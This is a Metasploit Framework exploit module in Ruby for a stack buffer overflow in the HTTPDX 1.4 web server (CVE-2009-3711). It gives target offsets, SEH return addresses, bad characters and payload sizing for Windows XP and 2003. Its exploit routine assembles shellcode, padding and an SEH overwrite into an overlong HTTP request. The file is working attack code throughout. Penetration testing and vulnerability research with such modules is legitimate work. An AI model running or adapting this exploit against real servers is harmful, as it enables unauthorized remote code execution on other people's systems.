### $Id: httpdx_handlepeer.rb 9934 2010-07-26 23:22:42Z jduck $##### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# Framework web site for more information on licensing and terms of use.# http://metasploit.com/framework/##### httpdx_handlepeer.rb## HTTPDX 'h_handlepeer()' Function Buffer Overflow exploit for the Metasploit Framework## Tested successfully on the following platforms# - HTTPDX 1.4 on Microsoft Windows XP SP3## This vulnerability was found by Pankaj Kohli, see references.## Trancer# http://www.rec-sec.com##require'msf/core'classMetasploit3<Msf::Exploit::RemoteRank=GreatRankingHttpFingerprint={:pattern=>[/httpdx\/.* \(Win32\)/]}
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Sehdefinitialize(info ={})super(update_info(info,'Name'=>'HTTPDX h_handlepeer() Function Buffer Overflow','Description'=>%q{
This module exploits a stack-based buffer overflow vulnerability in HTTPDX HTTP server 1.4. The
vulnerability is caused due to a boundary error within the "h_handlepeer()" function in http.cpp.
By sending an overly long HTTP request, an attacker can overrun a buffer and execute arbitrary code.
},'Author'=>['Pankaj Kohli <pankaj208[at]gmail.com>',# Original exploit [see References]'Trancer <mtrancer[at]gmail.com>',# Metasploit implementation'jduck'],'Version'=>'$Revision: 9934 $','References'=>[['OSVDB','58714'],['CVE','2009-3711'],['URL','http://www.pank4j.com/exploits/httpdxb0f.php'],['URL','http://www.rec-sec.com/2009/10/16/httpdx-buffer-overflow-exploit/']],'DefaultOptions'=>{'EXITFUNC'=>'process'},'Privileged'=>true,'Payload'=>{'Space'=>472,# other characters get mangled, but only in a temporary buffer'BadChars'=>"\x00\x0a\x0d\x20\x25\x2e\x2f\x3f\x5c",'StackAdjustment'=>-3500,# 'DisableNops' => 'True'},'Platform'=>'win','Targets'=>[['httpdx 1.4 - Windows XP SP3 English',{'Offset'=>476,'Ret'=>0x63b81a07,# seh handler (pop/pop/ret in n.dll)'Readable'=>0x63b80131# early in n.dll}],['httpdx 1.4 - Windows 2003 SP2 English',{'Offset'=>472,'Ret'=>0x63b81a07,# seh handler (pop/pop/ret in n.dll)'Readable'=>0x63b80131# early in n.dll}]],'DefaultTarget'=>0,'DisclosureDate'=>'Oct 08 2009'))enddef check
info = http_fingerprint # check methodif info and(info =~/httpdx\/(.*) \(Win32\)/)returnExploit::CheckCode::VulnerableendExploit::CheckCode::Safeenddef exploit
uri = payload.encoded
if target['Offset']> payload_space
pad = target['Offset']- payload_space
uri <<rand_text(pad)end
uri <<generate_seh_record(target.ret)# jmp back to shellcode
uri <<Metasm::Shellcode.assemble(Metasm::Ia32.new,"jmp $-"+(target['Offset']+5).to_s).encode_string
# extra causing hitting end of the stack
uri <<rand_text_alphanumeric(1024)
uri[620,4]=[target['Readable']].pack('V')# arg (must be readable)
sploit ='/'+rand_text(3)+'='+ uri
# an empty host header gives us 512 bytes in the client structure# (the client->filereq and client->host buffers are adjacement in memory)
datastore['VHOST']=''print_status("Trying target #{target.name}...")
res =send_request_raw({'uri'=> sploit
},5)
handler
endend